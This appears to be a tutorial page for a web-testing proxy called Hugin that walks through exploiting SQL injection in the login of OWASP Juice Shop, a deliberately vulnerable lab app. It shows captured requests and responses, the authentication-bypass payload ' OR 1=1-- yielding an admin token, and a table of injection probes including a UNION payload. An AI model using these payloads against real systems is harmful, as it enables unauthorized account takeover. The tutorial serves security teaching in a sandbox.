// lab 01

Break a login.
Then prove it.

One real bug, two tools. Catch a login request, flip a single field in Repeater to bypass auth, then load Intruder to prove it's genuine SQL injection — not a fluke. Target: OWASP Juice Shop.

repeaterintrudersandboxed

(!) Every request here really happened. Real bytes from a local Juice Shop (2026-06-14), captured and replayed. Point Hugin only at targets you are authorized to test.

// part 1 · repeater

Send it once.
Change one field.

Repeater is for the careful, hand-driven probe. Take one request, edit it, fire it, read the response — no browser in the loop. Here's the Juice Shop login. With real credentials it answers 401. Edit the email field — type ' OR 1=1-- — and press Send.

HUGINrepeater
RequestPOST · application/json
POST /rest/user/login HTTP/2
host: juice-sh.op
content-type: application/json
content-length: 49

{"email":"test@juice-sh.op","password":"hunter2"}
Response401 · 26 B · 8 ms200 · 799 B · 9 ms500 · 1,449 B · 12 ms
↳ press Send to issue the request
sending to juice-sh.op…
HTTP/2 401 Unauthorized
content-type: text/html; charset=utf-8
content-length: 26

Invalid email or password.HTTP/2 200 OK
content-type: application/json; charset=utf-8
content-length: 799

{"authentication":{"token":"eyJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6…",
  "bid":1,"umail":"admin@juice-sh.op"}}HTTP/2 500 Internal Server Error
content-type: text/html; charset=utf-8
content-length: 1449

OWASP Juice Shop (Express ^4.22.1)
500 Error
  at Database.<anonymous> (…/sequelize/lib/dialects/sqlite/query.js:185:27)
  … 5 more stack frames
real credentials → the app rejects you, as it should.the quote escapes the SQL string; OR 1=1 is always true; -- comments out the password check.a lone ' unbalances the SQL string — the server 500s with a stack trace from sqlite/query.js: the input reached the query engine raw.

You are now the administrator.

The 200 carries a signed session token. Drop it into Decoder and the JWT claims are plain:

"id": 1,
"email": "admin@juice-sh.op",
"role": "admin",
"iat": 1781454986

No password was ever known. The login query trusted unescaped input, so ' OR 1=1-- matched the first row — which is the admin.

// part 2 · intruder

Prove it's
injection.

Was that one payload a coincidence? Mark the email field as the position, feed Intruder a short list of probes, and fire a sniper attack. Sort by length — the bypasses and database errors separate themselves from the noise.

HUGINintruder · sniperPOST /rest/user/login · position: email = §payload§
#payloadstatuslengthnote
1test@juice-sh.op40126baseline · valid email
2'5001,449DB error — injectable
3' OR 1=1--200799auth bypass ✓
4' OR 1=2--40126false condition — no bypass
5' OR '1'='140126no comment — trailing clause breaks it
6admin@juice-sh.op'--200799targeted admin bypass ✓
7bob@juice-sh.op40126baseline
8' UNION SELECT 1--5001,449column-count mismatch — injectable
8 payloads · 1 position · sniper4 stand out: two 200/799 B bypasses, two 500/1,449 B database errors. The rest are 401/26 B.
1=1 vs 1=2

' OR 1=1-- → 200, but ' OR 1=2-- → 401. The response tracks the condition — textbook boolean SQL injection.

the lone quote

A single ' returns 500 with a 1,449-byte error page. The parser choked — input reaches the SQL engine raw.

length is the tell

26 B is rejection, 799 B is a token, 1,449 B is a stack trace. Sort the column and the bugs rise to the top.

// reproduce

Run it
yourself.

Nothing here is special-cased. Stand up the same sandbox and walk the same path. ~5 minutes, your machine.

01

Start the sandbox

Run a throwaway Juice Shop in Docker — it's built to be broken.

docker run --rm -p 3000:3000 bkimminich/juice-shop
02

Proxy through Hugin

Launch Hugin, set your browser's proxy to 127.0.0.1:8080, trust the CA, log in once so the request lands in history.

hugin
03

Repeat & fuzz

Right-click the login → Send to Repeater, swap the email, resend. Then Send to Intruder, mark the field, paste the payloads, attack.

The built-in scanner finds this same class of bug without the manual steps.